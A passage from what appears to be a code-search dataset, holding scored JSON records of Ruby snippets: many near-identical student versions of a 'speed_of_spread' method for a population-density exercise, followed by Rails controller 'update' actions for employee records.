end\n \n speed += addon\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "1a0aeebe8e2a791ab07ef224e31654fc", "score": "0.57465184", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = nil\n x = @population_density\n\n if x >= 200\n speed = 0.5\n elsif x >= 150\n speed = 1\n elsif x >= 100\n speed = 1.5\n elsif x >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "6c8c2793b7eb2a69ecc1f2be71b21f2c", "score": "0.5744005", "text": "def speed_of_spread#in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n @speed = 0.0\r\n if @population_density >= 200\r\n @speed += 0.5\r\n elsif @population_density >= 150\r\n @speed += 1\r\n elsif @population_density >= 100\r\n @speed += 1.5\r\n elsif @population_density >= 50\r\n @speed += 2\r\n else\r\n @speed += 2.5\r\n end\r\n end", "title": "" }, { "docid": "f5428a5bf0cec740a2c358e2e955b155", "score": "0.57416385", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n if population_density >= 200\n speed = 0.5\n elsif population_density >= 150\n speed = 1\n elsif population_density >= 100\n speed = 1.5\n elsif population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "f5428a5bf0cec740a2c358e2e955b155", "score": "0.57416385", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n if population_density >= 200\n speed = 0.5\n elsif population_density >= 150\n speed = 1\n elsif population_density >= 100\n speed = 1.5\n elsif population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "f5428a5bf0cec740a2c358e2e955b155", "score": "0.57416385", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n if population_density >= 200\n speed = 0.5\n elsif population_density >= 150\n speed = 1\n elsif population_density >= 100\n speed = 1.5\n elsif population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "8f616543dfa9bfab439371bf5f409b7d", "score": "0.5737149", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "8f616543dfa9bfab439371bf5f409b7d", "score": "0.5737149", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "8f616543dfa9bfab439371bf5f409b7d", "score": "0.5737149", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "8f616543dfa9bfab439371bf5f409b7d", "score": "0.5737149", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "8dcf74c3700468ed6b5680e19bbaaa65", "score": "0.5736163", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\nif @population_density > 200\n speed = (@population_density * 0.5)\n elsif @population_density <= 200 && @population_density >=50\n speed = (100/@population_density)\n else\n speed += 2.5\n end\n\n \n \n \n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "8b980cff928b3ed131f727e7d32b32a0", "score": "0.5732938", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n if @population_density >= 200 then speed += 0.5\n elsif @population_density >= 150 then speed += 1\n elsif @population_density >= 100 then speed += 1.5\n elsif @population_density >= 50 then speed += 2\n else speed += 2.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "13699a42f529fc05fd1eff3cc63904a0", "score": "0.5732674", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 2.5\n pop = @population_density\n while pop >= 50 \n \tpop -= 50 \n \tspeed -= 0.5\n end\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "637b4b8142a98e87ea6af496d0393116", "score": "0.57324755", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n case \n when @population_density >= 200\n speed = 0.5\n when @population_density >= 150\n speed = 1\n when @population_density >= 100\n speed = 1.5\n when @population_density >= 50\n speed = 2\n else\n speed += 2.5\n end\n speed\n end", "title": "" }, { "docid": "143869bc1368b3657cc883d3365c5d6b", "score": "0.5731001", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n @speed = 0.0\r\n if @population_density >= 200\r\n @speed += 0.5\r\n elsif @population_density >= 150\r\n @speed += 1\r\n elsif @population_density >= 100\r\n @speed += 1.5\r\n elsif @population_density >= 50\r\n @speed += 2\r\n else\r\n @speed += 2.5\r\n end\r\n puts \" and will spread across the state in #{@speed} months.\\n\\n\"\r\n end", "title": "" }, { "docid": "7715187c3df9d3da7423f90735708948", "score": "0.57300663", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = \r\n\r\n if @population_density >= 200 \r\n 0.5\r\n elsif @population_density >= 150 \r\n 1\r\n elsif @population_density >= 100 \r\n 1.5\r\n elsif @population_density >= 50\r\n 2\r\n else\r\n 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "4c30c59f72163a854b9d6d94a9a6041e", "score": "0.57271653", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n speed += 0.5 if @population_density >= 200\n speed += 1 if (150..199).include?(@population_density)\n speed += 1.5 if (100..149).include?(@population_density)\n speed += 2 if (50..99).include?(@population_density)\n speed += 2.5 if (0..49).include?(@population_density)\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "95e60dcf21358f2b9176ec23dd108ed2", "score": "0.57266766", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n if @population_density >= 250\r\n speed = 0.5\r\n else\r\n speed = 2.5 - 0.5 * (@population_density / 50).floor\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "e564cebb97798c2ceeb1fbb7f0dbd22e", "score": "0.57253486", "text": "def speed_of_spread() #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n \r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "3591b6237aa3eef227744411bf489838", "score": "0.5725233", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 2.5\r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n else\r\n speed -= (@population_density * 0.02).floor * 0.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" } ]
cd846f7616371ff18985a60a82a69e2a
PATCH/PUT /registry/employee_positions/1 PATCH/PUT /registry/employee_positions/1.json
[ { "docid": "318191ea7f4934719b64bd5364bbaab2", "score": "0.70251185", "text": "def update\n respond_to do |format|\n if @registry_employee_position.update(registry_employee_position_params)\n format.html { redirect_to @registry_employee_position, notice: 'Cargo fue actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @registry_employee_position }\n else\n format.html { render :edit }\n format.json { render json: @registry_employee_position.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "df89fc83580cb32c3674bef8058eaa17", "score": "0.6903419", "text": "def update\n authorize @employee\n @employee.user = current_user\n @position = Position.new\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_back_or_default employees_url, t('Record has been saved') }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a9b5f5b1b449e35c1a30f076067f970b", "score": "0.6901136", "text": "def update\n @employee_position = EmployeePosition.find(params[:id])\n\n respond_to do |format|\n if @employee_position.update_attributes(params[:employee_position])\n format.html { redirect_to @employee_position, notice: 'Employee position was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee_position.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "889fc6811d3cd25e9426e9dff08e77bc", "score": "0.6832246", "text": "def update\n @employee = Employee.find(params[:id])\n @employee.update(employee_params)\n render :json => {:employee => @employee}\n end", "title": "" }, { "docid": "e08e3ed7b0d611df7d42d56c21bbfc67", "score": "0.6712404", "text": "def update\n # TODO Strip company_id out of params here\n @v1_employee = V1::Employee.find(params[:id])\n\n if @v1_employee.update_attributes(employee_params)\n render json: @v1_employee, status: :ok\n else\n render json: @v1_employee.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "68b57906c8d3fc8723e4f5edad09d5df", "score": "0.66434103", "text": "def update\n employee = Employee.find(params[:id])\n\n if validate_params(employee_params)\n employee.update(employee_params)\n render json: employee, status: 200, location: [:api, employee]\n else\n render json: { errors: employee.errors }, status: 422\n end\n end", "title": "" }, { "docid": "ed4a8a731e2feb7aaafea24e99238386", "score": "0.6631587", "text": "def update\n\n @employees_positions = EmployeesPosition.all\n @employees_position = EmployeesPosition.find(params[:id])\n\n @employees_position.update_attributes(employees_position_params)\n\n @employees = Employee.all.order(:first_name)\n @positions = Position.all.order(:position_title)\n @position_types = PositionType.all\n @release_reasons = ReleaseReason.all\n @assign_orders = Order.all.order(:order_no)\n @release_orders = Order.all.order(:order_no)\n\n=begin\n respond_to do |format|\n if @employees_position.update(employees_position_params)\n format.html { redirect_to @employees_position, notice: 'Employees position was successfully updated.' }\n format.json { render :show, status: :ok, location: @employees_position }\n else\n format.html { render :edit }\n format.json { render json: @employees_position.errors, status: :unprocessable_entity }\n end\n end\n=end\n end", "title": "" }, { "docid": "6e268be644c72376165b27e84cb36486", "score": "0.65344244", "text": "def update\n \n \n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6fd5784c43ac0b86c5336c2104a440b", "score": "0.65200245", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render json: @employee }\n else\n format.html { render action: 'edit' }\n format.json { render json: ErrorSerializer.serialize(@employee.errors), status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7663f322491f89798244115b8350d5dc", "score": "0.65102583", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to [@user, @employee], notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: [@user, @employee] }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "715aa1c6e9fe72488626493732ce86ee", "score": "0.6508657", "text": "def update\n @employee = Employee.find(params[:id])\n @employees = Employee.all\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, :notice=> 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action=> \"edit\" }\n format.json { render :json=> @employee.errors, :status=>unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da3893e47770f0bfb0aae64e0a11aefc", "score": "0.6484353", "text": "def update\n if @employee.update(employee_params)\n render :show, status: :ok, location: @employee\n else\n render json: @employee.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "44ff3c07b67402307055e8a482f3176f", "score": "0.64813435", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44ff3c07b67402307055e8a482f3176f", "score": "0.64813435", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44ff3c07b67402307055e8a482f3176f", "score": "0.64813435", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed094703d6af60761080cff81a682204", "score": "0.6466459", "text": "def update\n respond_to do |format|\n if @employee.update_attributes(employee_params)\n format.html { redirect_to admin_employees_url, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14a1bbf34bbb8c36dd0fa529195c3d64", "score": "0.64612186", "text": "def update\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9238980012ccd40f9af0a708b6687c41", "score": "0.64565766", "text": "def update\n respond_to do |format|\n if employee.update(employee_params)\n format.html { redirect_to employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: employee }\n else\n format.html {\n render 'edit',\n locals: {\n employee: employee,\n }\n }\n format.json { render json: employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f331539835395bd6514f3a9fae283e1c", "score": "0.64548343", "text": "def update\n respond_to do |format|\n if @employee_type.update(employee_type_params)\n format.html { redirect_to '/admin#positions_tab',notice: 'Employee Type was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee_type }\n else\n format.html { render :edit }\n format.json { render json: @employee_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85248f2e36bbcc5e850c7c3e5a4a05b3", "score": "0.6454049", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f71b7122c20ef7cd43eb91c810b82b97", "score": "0.6451391", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: \"Employee was successfully updated.\" }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f71b7122c20ef7cd43eb91c810b82b97", "score": "0.6451391", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: \"Employee was successfully updated.\" }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f71b7122c20ef7cd43eb91c810b82b97", "score": "0.6451391", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: \"Employee was successfully updated.\" }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f71b7122c20ef7cd43eb91c810b82b97", "score": "0.6451391", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: \"Employee was successfully updated.\" }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d436ec8e6f0e7e0534e5fac94d1a563", "score": "0.645022", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to employees_path, notice: 'Employee was successfully updated.' }\n format.json { render :show, status: :ok, location: employees_path}\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e331a20643091623d51b1585f11f53e4", "score": "0.64433265", "text": "def update\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, flash: { success: \"Employee was successfully updated.\" } }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23b9c5fe8b91eb069eb298fdea2cb54e", "score": "0.6428568", "text": "def update\n @employee = Employee.find(params[:id])\n @locations = Location.all\n\n respond_to do |format|\n if @employee.update_attributes(params[:employee])\n flash[:success] = \"Profile updated.\"\n sign_in @employee\n format.html { redirect_to requests_path, :anchor => \"tabs-2\" }\n format.json { head :no_content }\n else\n flash[:failed] = \"Failed to update.\"\n format.html { render action: \"edit\" }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1fc73951144c2da8adb2afdaff8a1b0e", "score": "0.6415481", "text": "def update\n respond_to do |format|\n if @employee_master.update(employee_master_params)\n format.html { redirect_to 